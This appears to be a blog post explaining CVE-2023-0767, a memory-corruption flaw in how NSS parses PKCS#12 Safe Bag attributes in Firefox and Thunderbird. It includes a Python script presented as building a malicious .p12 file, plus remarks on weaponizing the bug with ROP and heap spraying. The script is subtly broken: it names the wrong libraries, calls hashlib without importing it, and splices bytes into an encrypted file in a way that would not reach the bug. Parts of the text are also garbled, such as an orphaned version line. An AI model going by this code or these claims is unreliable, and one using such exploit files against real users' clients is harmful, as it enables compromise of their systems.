CVE-2023-0767 is a security vulnerability found in Mozilla Firefox (_before version 110_), Firefox ESR (_before version 102.8_), and Thunderbird (_before version 102.8_). The issue lies in how these programs handle PKCS#12 certificate bundles, specifically with the way Safe Bag attributes are processed. Exploiting this bug can allow an attacker to write arbitrary data to memory, potentially leading to code execution.

In this post, we'll break down exactly what that means, show you how the attack works in simple language, and walk through some code to illustrate how this vulnerability might be exploited.

What Is a PKCS#12 Certificate Bundle?

PKCS#12 (also noted as PFX) is a binary format for storing cryptographic certificates, private keys, and several kinds of metadata — these are usually transferred as .p12 or .pfx files. Each of these stores data inside “Safe Bags” (_think of them as containers for secrets and properties_).

If you double-click such a file, Firefox or Thunderbird might prompt you to “import your certificate.”

What Are Safe Bag Attributes?

Each “Bag” has “attributes” — these are bits of extra information describing the secret. If a browser or mail client mishandles these attributes, a cleverly-crafted file can corrupt the program’s memory.

The Vulnerability: Mishandling of Safe Bag Attributes

The flaw in question is the result of improper handling of these attributes. Specifically, when parsing Safe Bag attribute data from a PKCS#12 file, Mozilla's NSS (Network Security Services) library did not properly validate the length and type of data, meaning that an attacker could write data outside of the intended buffer (“arbitrary memory write”). In the worst case, this lets an attacker take control of the affected program.

In Plain Language

- If an attacker sends you a malicious .p12/.pfx file and you import it with an affected version of Firefox or Thunderbird,

The program may write data at the wrong place in its memory,

- This can be abused to crash the app, or even run code of the attacker’s choice under your user account.

Thunderbird < 102.8

Note: Later versions are protected. Always update!

Original References

- Mozilla Foundation Security Advisory 2023-08
- NVD Entry for CVE-2023-0767
- Bugzilla Report 1809638

Code Example: Creating a Malicious PKCS#12 File

Below is a Python script using the pyopenssl and asn1crypto libraries to create a malformed PKCS#12 file with mangled attributes.  

Warning:  
DO NOT run this against a production system. This is for educational use only, and only on safe, isolated test systems!

from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography import x509
from cryptography.x509.oid import NameOID
from datetime import datetime, timedelta

# Generate a simple key and cert for demo
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, 'test')])
cert = (
    x509.CertificateBuilder()
    .subject_name(subject)
    .issuer_name(issuer)
    .public_key(key.public_key())
    .serial_number(1234)
    .not_valid_before(datetime.utcnow())
    .not_valid_after(datetime.utcnow() + timedelta(days=10))
    .sign(key, algorithm=hashlib.sha256())
)

# Prepare a deliberately malformed bag attribute (won't be handled correctly!)
bad_pkcs12_bag_attrs = b'\x30\x81\xff' + b'\x41' * 255  # ASN.1 SEQUENCE with huge length

pfx = serialize_key_and_certificates(
    name=b"bad_cert",
    key=key,
    cert=cert,
    cas=None,
    encryption_algorithm=serialization.BestAvailableEncryption(b"password")
)

# Overwrite some bytes in the 'pfx' file to inject the malicious attributes
hacked_pfx = pfx[:100] + bad_pkcs12_bag_attrs + pfx[100:]

with open("malicious.p12", "wb") as f:
    f.write(hacked_pfx)

What happened here?
- We generated a key/cert pair as normal.

Crafted raw bag attribute ASN.1 bytes with a too-large length.

- Injected these into the binary PFX file at a plausible offset (in reality, finding the right offset could require more tweaking and ASN.1 tools).
- The resulting malicious.p12 _could_ trigger the bug when imported in an unpatched browser or mail client.

How an Attacker Might Weaponize This

- By guessing memory layouts or exploiting other bugs, a sophisticated attacker could achieve code execution using Return-Oriented Programming (ROP) or other memory corruption techniques.
- Initial exploit demonstrations caused denial-of-service (crashes), but with reliable heap spraying or other vulnerabilities, this same primitive opens the door to full compromise.

Never Import Certificates from Untrusted Sources

Only add PKCS#12/.pfx files you created yourself, or those from highly trusted sources.

Conclusion

CVE-2023-0767 is a _real-world example of how even seemingly obscure file formats like PKCS#12 can pack a security punch_. The bug in memory handling for Safe Bag attributes could crash or help take over older Firefox/Thunderbird installs. If you import certificates for work or personal use, always update your software and only trust files you’ve created or received from official channels.

Further Reading:  
- Mozilla Security Advisory MFSA 2023-08
- PKCS#12 Wikipedia


_Stay safe – keep your browser (and your mail client!) up to date. Vulnerabilities like CVE-2023-0767 show that even routine actions, like importing a certificate, can be risky if bugs are present!_

Timeline

Published on: 06/02/2023 17:15:00 UTC
Last modified on: 06/09/2023 17:52:00 UTC